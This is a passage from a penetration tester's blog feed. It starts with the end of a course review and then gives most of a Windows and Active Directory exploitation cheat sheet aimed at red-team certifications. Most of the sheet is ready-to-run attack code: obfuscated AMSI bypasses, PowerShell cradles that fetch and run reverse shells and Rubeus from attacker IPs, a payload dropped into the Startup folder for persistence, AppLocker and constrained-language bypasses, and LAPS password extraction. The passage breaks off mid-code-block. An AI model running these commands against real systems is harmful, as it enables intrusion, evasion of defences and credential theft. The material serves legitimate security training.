<p><a href="https://github.com/chvancooten/OSCP-MarkdownReportingTemplates"><img src="https://gh-card.dev/repos/chvancooten/OSCP-MarkdownReportingTemplates.svg?fullname=" alt="chvancooten/OSCP-MarkdownReportingTemplates - GitHub"></a></p>
<h2 id="conclusion">Conclusion</h2>
<p>I really enjoyed the PEN-300 &ldquo;Evasion Techniques and Breaching Defenses&rdquo; course by Offensive Security. It offers great coverage of a variety of interesting topics, and succeeds in guiding you through most of them really well. It would have been nice if OffSec streamlined some of the less relevant chapters and added some content on more relevant topics such as EDR evasion as well, but I can see why they passed on that. The challenge lab environments are great, but quite a bit too short for the price point that the course comes at. I would have liked to spend another couple weeks just exploiting target environments as with OSCP, but instead finished all the labs in 2 weeks which was a bit disappointing. Luckily, the exam made up for that by providing a realistic, objective-focused, and challenging experience. Overall, I would definitely recommend the course for anyone looking to sharpen their advanced pen-testing tradecraft.</p>
]]></content></item><item><title>Windows &amp; Active Directory Exploitation Cheat Sheet and Command Reference</title><link>https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/</link><pubDate>Wed, 04 Nov 2020 00:00:00 +0000</pubDate><guid>https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/</guid><description>&lt;p>&lt;em>Last update: &lt;strong>November 3rd, 2021&lt;/strong>&lt;/em>&lt;/p>
&lt;p>&lt;em>Updated &lt;strong>November 3rd, 2021&lt;/strong>: Included several fixes and actualized some techniques. Changes made to the Defender evasion, RBCD, Domain Enumeration, Rubeus, and Mimikatz sections. Fixed some whoopsies as well&lt;/em> 🙃.&lt;/p>
&lt;p>&lt;em>Updated &lt;strong>June 5th, 2021&lt;/strong>: I have made some more changes to this post based on (among others) techniques discussed in ZeroPointSecurity&amp;rsquo;s &amp;lsquo;Red Team Ops&amp;rsquo; course (for the CRTO certification). I&amp;rsquo;ve re-written and improved many sections. New sections have been added on DPAPI and GPO abuse. Notable changes have been made to the the sections on LAPS, AppLocker &amp;amp; CLM, PowerView, and Overpass-the-Hash with Rubeus. Enjoy! :)&lt;/em>&lt;/p></description><content type="html"><![CDATA[<p><em>Last update: <strong>November 3rd, 2021</strong></em></p>
<p><em>Updated <strong>November 3rd, 2021</strong>: Included several fixes and actualized some techniques. Changes made to the Defender evasion, RBCD, Domain Enumeration, Rubeus, and Mimikatz sections. Fixed some whoopsies as well</em> 🙃.</p>
<p><em>Updated <strong>June 5th, 2021</strong>: I have made some more changes to this post based on (among others) techniques discussed in ZeroPointSecurity&rsquo;s &lsquo;Red Team Ops&rsquo; course (for the CRTO certification). I&rsquo;ve re-written and improved many sections. New sections have been added on DPAPI and GPO abuse. Notable changes have been made to the the sections on LAPS, AppLocker &amp; CLM, PowerView, and Overpass-the-Hash with Rubeus. Enjoy! :)</em></p>
<p><em>Updated <strong>March 26th, 2021</strong>: This blog post has been updated based on some tools and techniques from Offensive Security&rsquo;s PEN-300 course (for the accompanying OSEP certification). Notable changes have been made in the sections on delegation, inter-forest exploitation, and lateral movement through MSSQL servers. Some other changes and clarifications have been made throughout the post.</em></p>
<p>Since I recently completed my CRTP and CRTE exams, I decided to compile a list of my most-used techniques and commands for Microsoft Windows and Active Directory (post-)exploitation. It is largely aimed at completing these two certifications, but should be useful in a lot of cases when dealing with Windows / AD exploitation.</p>
<p>That being said - it is <em>far from</em> an exhaustive list. If you feel any important tips, tricks, commands or techniques are missing from this list just get in touch. I will try to keep it updated as much as possible!</p>
<p>Many items of this list are shamelessly stolen from certification courses (that come highly recommended) that discuss Active Directory, such as <a href="https://www.alteredsecurity.com/adlab">CRTP</a>, <a href="https://www.alteredsecurity.com/redteamlab">CRTE</a>, <a href="https://www.offensive-security.com/pen300-osep/">OSEP</a>, and <a href="https://www.zeropointsecurity.co.uk/red-team-ops">CRTO</a>.
If you are looking for the cheat sheet and command reference I used for OSCP, please refer to <a href="https://cas.vancooten.com/posts/2020/05/oscp-cheat-sheet-and-command-reference/">this post</a>.</p>
<p><em>Note: I tried to highlight some poor OpSec choices for typical red teaming engagements with 🚩. I will likely have missed some though, so make sure you <strong>understand what you are running</strong> before you run it!</em></p>
<h2 id="general">General</h2>
<h3 id="powershell-amsi-bypass">PowerShell AMSI Bypass</h3>
<p>Patching the Anti-Malware Scan Interface (AMSI) will help bypass AV warnings triggered when executing PowerShell scripts (or other AMSI-enabled content, such as JScript) that are marked as malicious. Do not use as-is in covert operations, as they will get flagged 🚩. Obfuscate, or even better, eliminate the need for an AMSI bypass altogether by altering your scripts to beat signature-based detection.</p>
<p>&lsquo;Plain&rsquo; AMSI bypass example:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>[<span style="color:#40ffff">Ref</span>].Assembly.GetType(<span style="color:#ed9d13">&#39;System.Management.Automation.AmsiUtils&#39;</span>).GetField(<span style="color:#ed9d13">&#39;amsiInitFailed&#39;</span>,<span style="color:#ed9d13">&#39;NonPublic,Static&#39;</span>).SetValue($null,$true)
</span></span></code></pre></div><p>Obfuscation example for copy-paste purposes:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">sET-ItEM</span> ( <span style="color:#ed9d13">&#39;V&#39;</span>+<span style="color:#ed9d13">&#39;aR&#39;</span> +  <span style="color:#ed9d13">&#39;IA&#39;</span> + <span style="color:#ed9d13">&#39;blE:1q2&#39;</span>  + <span style="color:#ed9d13">&#39;uZx&#39;</span>  ) ( [<span style="color:#40ffff">TYpE</span>](  <span style="color:#ed9d13">&#34;{1}{0}&#34;</span>-F<span style="color:#ed9d13">&#39;F&#39;</span>,<span style="color:#ed9d13">&#39;rE&#39;</span>  ) )  ;    (    <span style="color:#24909d">GeT-VariaBle</span>  ( <span style="color:#ed9d13">&#34;1Q2U&#34;</span>  +<span style="color:#ed9d13">&#34;zX&#34;</span>  )  -VaL ).<span style="color:#ed9d13">&#34;A`ss`Embly&#34;</span>.<span style="color:#ed9d13">&#34;GET</span><span style="color:#ed9d13">`T</span><span style="color:#ed9d13">Y`Pe&#34;</span>((  <span style="color:#ed9d13">&#34;{6}{3}{1}{4}{2}{0}{5}&#34;</span> -f<span style="color:#ed9d13">&#39;Util&#39;</span>,<span style="color:#ed9d13">&#39;A&#39;</span>,<span style="color:#ed9d13">&#39;Amsi&#39;</span>,<span style="color:#ed9d13">&#39;.Management.&#39;</span>,<span style="color:#ed9d13">&#39;utomation.&#39;</span>,<span style="color:#ed9d13">&#39;s&#39;</span>,<span style="color:#ed9d13">&#39;System&#39;</span>  ) ).<span style="color:#ed9d13">&#34;g`etf`iElD&#34;</span>(  ( <span style="color:#ed9d13">&#34;{0}{2}{1}&#34;</span> -f<span style="color:#ed9d13">&#39;amsi&#39;</span>,<span style="color:#ed9d13">&#39;d&#39;</span>,<span style="color:#ed9d13">&#39;InitFaile&#39;</span>  ),(  <span style="color:#ed9d13">&#34;{2}{4}{0}{1}{3}&#34;</span> -f <span style="color:#ed9d13">&#39;Stat&#39;</span>,<span style="color:#ed9d13">&#39;i&#39;</span>,<span style="color:#ed9d13">&#39;NonPubli&#39;</span>,<span style="color:#ed9d13">&#39;c&#39;</span>,<span style="color:#ed9d13">&#39;c,&#39;</span> )).<span style="color:#ed9d13">&#34;sE</span><span style="color:#ed9d13">`T`V</span><span style="color:#ed9d13">aLUE&#34;</span>(  ${n`ULl},${t`RuE} )
</span></span></code></pre></div><p>Another bypass, which is not detected by PowerShell autologging:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>[<span style="color:#40ffff">Delegate</span>]::CreateDelegate((<span style="color:#ed9d13">&#34;Func</span><span style="color:#ed9d13">``</span><span style="color:#ed9d13">3[String, </span>$(([<span style="color:#40ffff">String</span>].Assembly.GetType(<span style="color:#ed9d13">&#39;System.Reflection.Bindin&#39;</span>+<span style="color:#ed9d13">&#39;gFlags&#39;</span>)).FullName)<span style="color:#ed9d13">, System.Reflection.FieldInfo]&#34;</span> -as [<span style="color:#40ffff">String</span>].Assembly.GetType(<span style="color:#ed9d13">&#39;System.T&#39;</span>+<span style="color:#ed9d13">&#39;ype&#39;</span>)), [<span style="color:#40ffff">Object</span>]([<span style="color:#40ffff">Ref</span>].Assembly.GetType(<span style="color:#ed9d13">&#39;System.Management.Automation.AmsiUtils&#39;</span>)),(<span style="color:#ed9d13">&#39;GetFie&#39;</span>+<span style="color:#ed9d13">&#39;ld&#39;</span>)).Invoke(<span style="color:#ed9d13">&#39;amsiInitFailed&#39;</span>,((<span style="color:#ed9d13">&#39;Non&#39;</span>+<span style="color:#ed9d13">&#39;Public,Static&#39;</span>) -as [<span style="color:#40ffff">String</span>].Assembly.GetType(<span style="color:#ed9d13">&#39;System.Reflection.Bindin&#39;</span>+<span style="color:#ed9d13">&#39;gFlags&#39;</span>))).SetValue($null,$True)
</span></span></code></pre></div><blockquote>
<p>More bypasses <a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell">here</a>. For obfuscation, check <a href="https://github.com/danielbohannon/Invoke-Obfuscation">Invoke-Obfuscation</a>, or get a custom-generated obfuscated version at <a href="https:///amsi.fail">amsi.fail</a>.</p></blockquote>
<h3 id="powershell-one-liners">PowerShell one-liners</h3>
<h4 id="load-powershell-script-reflectively">Load PowerShell script reflectively</h4>
<p>Proxy-aware:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">IEX </span>(<span style="color:#24909d">New-Object</span> Net.WebClient).DownloadString(<span style="color:#ed9d13">&#39;http://10.10.16.7/PowerView.obs.ps1&#39;</span>)
</span></span></code></pre></div><p>Non-proxy aware:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#40ffff">$h</span>=<span style="color:#24909d">new-object</span> -com WinHttp.WinHttpRequest.5.<span style="color:#3677a9">1</span>;<span style="color:#40ffff">$h</span>.open(<span style="color:#ed9d13">&#39;GET&#39;</span>,<span style="color:#ed9d13">&#39;http://10.10.16.7/PowerView.obs.ps1&#39;</span>,$false);<span style="color:#40ffff">$h</span>.send();<span style="color:#24909d">iex </span><span style="color:#40ffff">$h</span>.responseText
</span></span></code></pre></div><blockquote>
<p>Again, this will likely get flagged 🚩. For opsec-safe download cradles, check out <a href="https://github.com/danielbohannon/Invoke-CradleCrafter">Invoke-CradleCrafter</a>.</p></blockquote>
<h4 id="load-c-assembly-reflectively">Load C# assembly reflectively</h4>
<p>Ensure that the referenced class and main methods are <code>public</code> before running this. Note that a process-wide AMSI bypass may be required for this to work if the content is detected, <a href="https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/">refer here for details</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Download and run assembly without arguments</span>
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$data</span> = (<span style="color:#24909d">New-Object</span> System.Net.WebClient).DownloadData(<span style="color:#ed9d13">&#39;http://10.10.16.7/rev.exe&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$assem</span> = [<span style="color:#40ffff">System.Reflection.Assembly</span>]::Load(<span style="color:#40ffff">$data</span>)
</span></span><span style="display:flex;"><span>[<span style="color:#40ffff">rev.Program</span>]::Main()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Download and run Rubeus, with arguments (make sure to split the args)</span>
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$data</span> = (<span style="color:#24909d">New-Object</span> System.Net.WebClient).DownloadData(<span style="color:#ed9d13">&#39;http://10.10.16.7/Rubeus.exe&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$assem</span> = [<span style="color:#40ffff">System.Reflection.Assembly</span>]::Load(<span style="color:#40ffff">$data</span>)
</span></span><span style="display:flex;"><span>[<span style="color:#40ffff">Rubeus.Program</span>]::Main(<span style="color:#ed9d13">&#34;s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt&#34;</span>.Split())
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Execute a specific method from an assembly (e.g. a DLL)</span>
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$data</span> = (<span style="color:#24909d">New-Object</span> System.Net.WebClient).DownloadData(<span style="color:#ed9d13">&#39;http://10.10.16.7/lib.dll&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$assem</span> = [<span style="color:#40ffff">System.Reflection.Assembly</span>]::Load(<span style="color:#40ffff">$data</span>)
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$class</span> = <span style="color:#40ffff">$assem</span>.GetType(<span style="color:#ed9d13">&#34;ClassLibrary1.Class1&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$method</span> = <span style="color:#40ffff">$class</span>.GetMethod(<span style="color:#ed9d13">&#34;runner&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$method</span>.Invoke(<span style="color:#3677a9">0</span>, $null)
</span></span></code></pre></div><h4 id="download-file">Download file</h4>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Any version</span>
</span></span><span style="display:flex;"><span>(<span style="color:#24909d">New-Object</span> System.Net.WebClient).DownloadFile(<span style="color:#ed9d13">&#34;http://192.168.119.155/PowerUp.ps1&#34;</span>, <span style="color:#ed9d13">&#34;C:\Windows\Temp\PowerUp.ps1&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Powershell 4+</span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic">## You can use &#39;IWR&#39; as a shorthand</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Invoke-WebRequest</span> <span style="color:#ed9d13">&#34;http://10.10.16.7/Rev.exe&#34;</span> -OutFile <span style="color:#ed9d13">&#34;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Rev.exe&#34;</span>
</span></span></code></pre></div><h4 id="encoded-commands">Encoded commands</h4>
<p>Base64-encode a PowerShell command in the right format:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#40ffff">$command</span> = <span style="color:#ed9d13">&#39;IEX (New-Object Net.WebClient).DownloadString(&#34;http://172.16.100.55/Invoke-PowerShellTcpRun.ps1&#34;)&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$bytes</span> = [<span style="color:#40ffff">System.Text.Encoding</span>]::Unicode.GetBytes(<span style="color:#40ffff">$command</span>)
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$encodedCommand</span> = [<span style="color:#40ffff">Convert</span>]::ToBase64String(<span style="color:#40ffff">$bytes</span>)
</span></span></code></pre></div><p>Or, the Linux version of the above:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#24909d">echo</span> <span style="color:#ed9d13">&#39;IEX (New-Object Net.WebClient).DownloadString(&#34;http://172.16.100.55/Invoke-PowerShellTcpRun.ps1&#34;)&#39;</span> | iconv -t utf-16le | base64 -w <span style="color:#3677a9">0</span>
</span></span></code></pre></div><p>Encode existing script, copy to clipboard:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>[<span style="color:#40ffff">System.Convert</span>]::ToBase64String([<span style="color:#40ffff">System.IO.File</span>]::ReadAllBytes(<span style="color:#ed9d13">&#39;c:\path\to\PowerView.ps1&#39;</span>)) | clip
</span></span></code></pre></div><p>Run it, bypassing execution policy.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Powershell -EncodedCommand <span style="color:#40ffff">$encodedCommand</span>
</span></span></code></pre></div><blockquote>
<p>If you have Nishang handy, you can use <a href="https://github.com/samratashok/nishang/blob/master/Utility/Invoke-Encode.ps1">Invoke-Encode.ps1</a>.</p></blockquote>
<h2 id="enumeration">Enumeration</h2>
<h3 id="ad-enumeration-with-powerview">AD Enumeration With PowerView</h3>
<p>Though the below gives a good representation of the commands that usually come in most useful for me, this only scratches the surface of what PowerView can do. PowerView is available <a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1">here</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get all users in the current domain</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainUser</span> | <span style="color:#24909d">select </span>-ExpandProperty cn
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get all computers in the current domain</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainComputer</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get all domains in current forest</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-ForestDomain</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get domain/forest trusts</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainTrust</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-ForestTrust</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get information for the DA group</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainGroup</span> <span style="color:#ed9d13">&#34;Domain Admins&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Find members of the DA group</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainGroupMember</span> <span style="color:#ed9d13">&#34;Domain Admins&#34;</span> | <span style="color:#24909d">select </span>-ExpandProperty membername
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Find interesting shares in the domain, ignore default shares, and check access</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Find-DomainShare</span> -ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get OUs for current domain</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainOU</span> -FullData
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get computers in an OU</span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># %{} is a looping statement</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainOU</span> -name Servers | %{ <span style="color:#24909d">Get-DomainComputer</span> -SearchBase <span style="color:#40ffff">$_</span>.distinguishedname } | <span style="color:#24909d">select </span>dnshostname
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get GPOs applied to a specific OU</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainOU</span> *WS* | <span style="color:#24909d">select </span>gplink
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainGPO</span> -Name <span style="color:#ed9d13">&#34;{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get Restricted Groups set via GPOs, look for interesting group memberships forced via domain</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainGPOLocalGroup</span> -ResolveMembersToSIDs | <span style="color:#24909d">select </span>GPODisplayName, GroupName, GroupMemberOf, GroupMembers
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get the computers where users are part of a local group through a GPO restricted group</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainGPOUserLocalGroupMapping</span> -LocalGroup Administrators | <span style="color:#24909d">select </span>ObjectName, GPODisplayName, ContainerName, ComputerName
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Find principals that can create new GPOs in the domain</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainObjectAcl</span> -SearchBase <span style="color:#ed9d13">&#34;CN=Policies,CN=System,DC=targetdomain,DC=com&#34;</span> -ResolveGUIDs | ?{ <span style="color:#40ffff">$_</span>.ObjectAceType -eq <span style="color:#ed9d13">&#34;Group-Policy-Container&#34;</span> } | <span style="color:#24909d">select </span>ObjectDN, ActiveDirectoryRights, SecurityIdentifier
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Find principals that can link GPOs to OUs</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainOU</span> | <span style="color:#24909d">Get-DomainObjectAcl</span> -ResolveGUIDs | ? { <span style="color:#40ffff">$_</span>.ObjectAceType -eq <span style="color:#ed9d13">&#34;GP-Link&#34;</span> -and <span style="color:#40ffff">$_</span>.ActiveDirectoryRights -match <span style="color:#ed9d13">&#34;WriteProperty&#34;</span> } | <span style="color:#24909d">select </span>ObjectDN, SecurityIdentifier
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get incoming ACL for a specific object</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainObjectAcl</span> -SamAccountName <span style="color:#ed9d13">&#34;Domain Admins&#34;</span> -ResolveGUIDs | <span style="color:#24909d">Select </span>IdentityReference,ActiveDirectoryRights
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Find interesting ACLs for the entire domain, show in a readable (left-to-right) format</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Find-InterestingDomainAcl</span> | <span style="color:#24909d">select </span>identityreferencename,activedirectoryrights,acetype,objectdn | ?{<span style="color:#40ffff">$_</span>.IdentityReferenceName -NotContains <span style="color:#ed9d13">&#34;DnsAdmins&#34;</span>} | <span style="color:#24909d">ft
</span></span></span><span style="display:flex;"><span><span style="color:#24909d"></span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get interesting outgoing ACLs for a specific user or group</span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># ?{} is a filter statement</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Find-InterestingDomainAcl</span> -ResolveGUIDs | ?{<span style="color:#40ffff">$_</span>.IdentityReference -match <span style="color:#ed9d13">&#34;Domain Admins&#34;</span>} | <span style="color:#24909d">select </span>ObjectDN,ActiveDirectoryRights
</span></span></code></pre></div><h3 id="applocker">AppLocker</h3>
<p>Identify the local AppLocker policy. Look for exempted binaries or paths to bypass.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">Get-AppLockerPolicy</span> -Effective | <span style="color:#24909d">select </span>-ExpandProperty RuleCollections
</span></span></code></pre></div><p>Get a remote AppLocker policy, based on the Distinguished Name of the respective Group Policy (you could identify this e.g. in BloodHound).</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">Get-AppLockerPolicy</span> -Domain -LDAP <span style="color:#ed9d13">&#34;LDAP://targetdomain.com/CN={16641EA1-8DD3-4B33-A17F-9F259805B8FF},CN=Policies,CN=System,DC=targetdomain,DC=com&#34;</span>  | <span style="color:#24909d">select </span>-expandproperty RuleCollections
</span></span></code></pre></div><p>Some high-level bypass techniques:</p>
<ul>
<li>Use <a href="https://lolbas-project.github.io/">LOLBAS</a> if only (Microsoft-)signed binaries are allowed.</li>
<li>If binaries from <code>C:\Windows</code> are allowed (default behavior), try dropping your binaries to <code>C:\Windows\Temp</code> or <code>C:\Windows\Tasks</code>. If there are no writable subdirectories but writable files exist in this directory tree, write your file to an alternate data stream (e.g. a JScript script) and execute it from there.</li>
<li>Wrap your binaries in a DLL file and execute them with <code>rundll32</code> to bypass executable rules if DLL execution is not enforced (default behavior).</li>
<li>If binaries like Python are allowed, use those. If that doesn&rsquo;t work, try other techniques such as wrapping JScript in a HTA file or running XSL files with <code>wmic</code>.</li>
<li>Otherwise elevate your privileges. AppLocker rules are most often not enforced for (local) administrative users.</li>
</ul>
<h3 id="powershell-constrained-language-mode">PowerShell Constrained Language Mode</h3>
<p>Sometimes you may find yourself in a PowerShell session that enforces Constrained Language Mode (CLM). This is often the case when you&rsquo;re operating in an environment that enforces AppLocker (see above).</p>
<p>You can identify you&rsquo;re in constrained language mode by polling the following variable to get the current language mode. It will say <code>FullLanguage</code> for an unrestricted session, and <code>ConstrainedLanguage</code> for CLM. There are other language modes which I will not go into here.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#40ffff">$ExecutionContext</span>.SessionState.LanguageMode
</span></span></code></pre></div><p>The constraints posed by CLM will block many of your exploitations attempts as key functionality in PowerShell is blocked. Bypassing CLM is largely the same as bypassing AppLocker as discussed above. Another way of bypassing CLM is to bypass AppLocker to execute binaries that execute a custom PowerShell runspace (e.g. <a href="https://github.com/mgeeky/Stracciatella">Stracciatella</a>) which will be unconstrained.</p>
<p>Another quick and dirty bypass is to use in-line functions, which sometimes works. If e.g. <code>whoami</code> is blocked, try the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>&amp;{whoami}
</span></span></code></pre></div><h3 id="laps">LAPS</h3>
<p>The Local Administrative Password Solution (LAPS) is Microsoft&rsquo;s product for managing local admin passwords in the context of an Active Directory domain. It frequently generates strong and unique passwords for the local admin users of enrolled machines. This password property and its expiry time are then written to the computer object in Active Directory. Read access to LAPS passwords is only granted to Domain Admins by default, but often delegated to special groups.</p>
<p>The permission <code>ReadLAPSPassword</code> grants users or groups the ability to read the <code>ms-Mcs-AdmPwd</code> property and as such get the local admin password. You can look for this property using e.g. BloodHound or PowerView. We can also use PowerView to read the password, if we know that we have the right <code>ReadLAPSPassword</code> privilege to a machine.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">Get-DomainComputer</span> -identity <span style="color:#24909d">LAPS-COMPUTER</span> -properties <span style="color:#24909d">ms-Mcs</span>-AdmPwd
</span></span></code></pre></div><p>We can also use <a href="https://github.com/leoloobeek/LAPSToolkit/blob/master/LAPSToolkit.ps1">LAPSToolkit.ps1</a> to identify which machines in the domain use LAPS, and which principals are allowed to read LAPS passwords. If we are in this group, we can get the current LAPS passwords using this tool as well.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get computers running LAPS, along with their passwords if we&#39;re allowed to read those</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-LAPSComputers</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get groups allowed to read LAPS passwords</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Find-LAPSDelegatedGroups</span>
</span></span></code></pre></div><h2 id="lateral-movement">Lateral Movement</h2>
<h3 id="lateral-movement-enumeration-with-powerview">Lateral Movement Enumeration With PowerView</h3>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Find existing local admin access for user (noisy 🚩)</span>
